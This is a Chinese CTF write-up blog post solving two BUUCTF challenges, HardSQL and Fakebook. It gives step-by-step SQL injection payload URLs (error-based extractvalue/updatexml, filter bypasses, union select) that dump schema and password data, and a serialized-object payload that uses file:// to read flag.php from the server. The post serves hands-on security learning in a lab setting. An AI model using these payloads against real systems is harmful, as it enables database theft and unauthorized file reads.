一天一道ctf 第17天(报错注入)

[极客大挑战 2019]HardSQL

这道题的知识点是extractvalue()和updatexml()报错注入
https://blog.csdn.net/zpy1998zpy/article/details/80631036

extractvalue()函数接受两个参数,我们主要在第二个参数上做文章。看下面的这个查询数据库的payload,我们传递第二个参数为concat(0x7e,(select(database())),0x7e是’~'的十六进制表示,concat用于拼接字符串。因为extractvalue()接受的xml路径无法正确识别~符号,所以会报错返回无法正确识别的内容是什么,我们就查到了数据库名称。

http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

因为还过滤了空格和‘=’,所以这里用了‘^’来代替or,其实还可以用or()的形式:

http://d2394fc7-1f8a-49fc-ac90-ca340ae45b80.node3.buuoj.cn/check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(database())))))%23

在这里插入图片描述
用‘like’代替‘=’

http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

在这里插入图片描述

http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

在这里插入图片描述
extractvalue()最多只能显示出32位,所以要爆flag得分两部分

http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

在这里插入图片描述

http://46ff9b07-044c-4c14-aa3f-481558b25c1c.node3.buuoj.cn/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

在这里插入图片描述

updatexml()与extractvalue()类似,只是需要传递三个参数,我们在第二个参数传递我们的payload:check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)%23
在这里插入图片描述

[网鼎杯 2018]Fakebook
这道题我觉得还是比较有意思的
在这里插入图片描述
先join一个账号,点击username可以进去,在URL里发现了注入点,view.php?no=1,下面还显示了我输入的blog网址
在这里插入图片描述
试一下order by 5和order by 4,order by 5报错了,说明只有四列
在这里插入图片描述
再union select 1,2,3,4 #看一下回显点,返回no hack,我猜是union被过滤了。那正好试一下上题的extractvalue(),这里把0x7e换成了%27~%27是因为0x被过滤了。

http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select(database()))))%23

在这里插入图片描述

http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select group_concat(table_name) from(information_schema.tables)where(table_schema='fakebook'))))%23

在这里插入图片描述

http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,(select group_concat(column_name) from(information_schema.columns)where(table_name='users'))))%23

在这里插入图片描述
就和上一题一样一步步爆出来有data,USER,CU三个项,那就分别看看它们是什么
data里有一个反序列化的字符串,存的是你一开始输入的个人信息,但因为这个字符串太长了,所以要用substr每次查看32位拼接起来很麻烦。

http://a98ad307-fdcc-4574-821d-974f02de4b51.node3.buuoj.cn/view.php?no=1 and extractvalue(1,concat(%27~%27,substr((select data from fakebook.users),30,32)))%23

在网上找了一下可以直接?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+,甚至可以?no=-1 union/**/select 1,(select group_concat(data) from users),3,4--+,因为是union select被过滤了
在这里插入图片描述

爆出来data是O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:21:"https://www.baidu.com";} (USER和CU都是没有内容的列,毕竟之前也测过了一共就4列)

到这里我就卡住了,看了一下师傅的wp发现robots.txt可以查看,还有一个flag.php(扫描网站目录是一个好习惯)
获得网页源代码的备份:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

我们用的是这里的get函数,抓取URL并且访问
接下来我们把得到的data里的blog替换成flag.php的地址,这里是从报错回显的/var/www/html/view.php 推测出flag.php在/var/www/html/flag.php(也是很神奇了) 用file协议访问文件,反序列化字符串是O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终的payload是

http://3bf19833-8cff-4fd6-b03f-94e78e9549fa.node3.buuoj.cn/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"zqr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

因为data是第四个数据所以反序列化的字符串放在第四个,查看网页源代码就能得到flag,要base64解码一下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值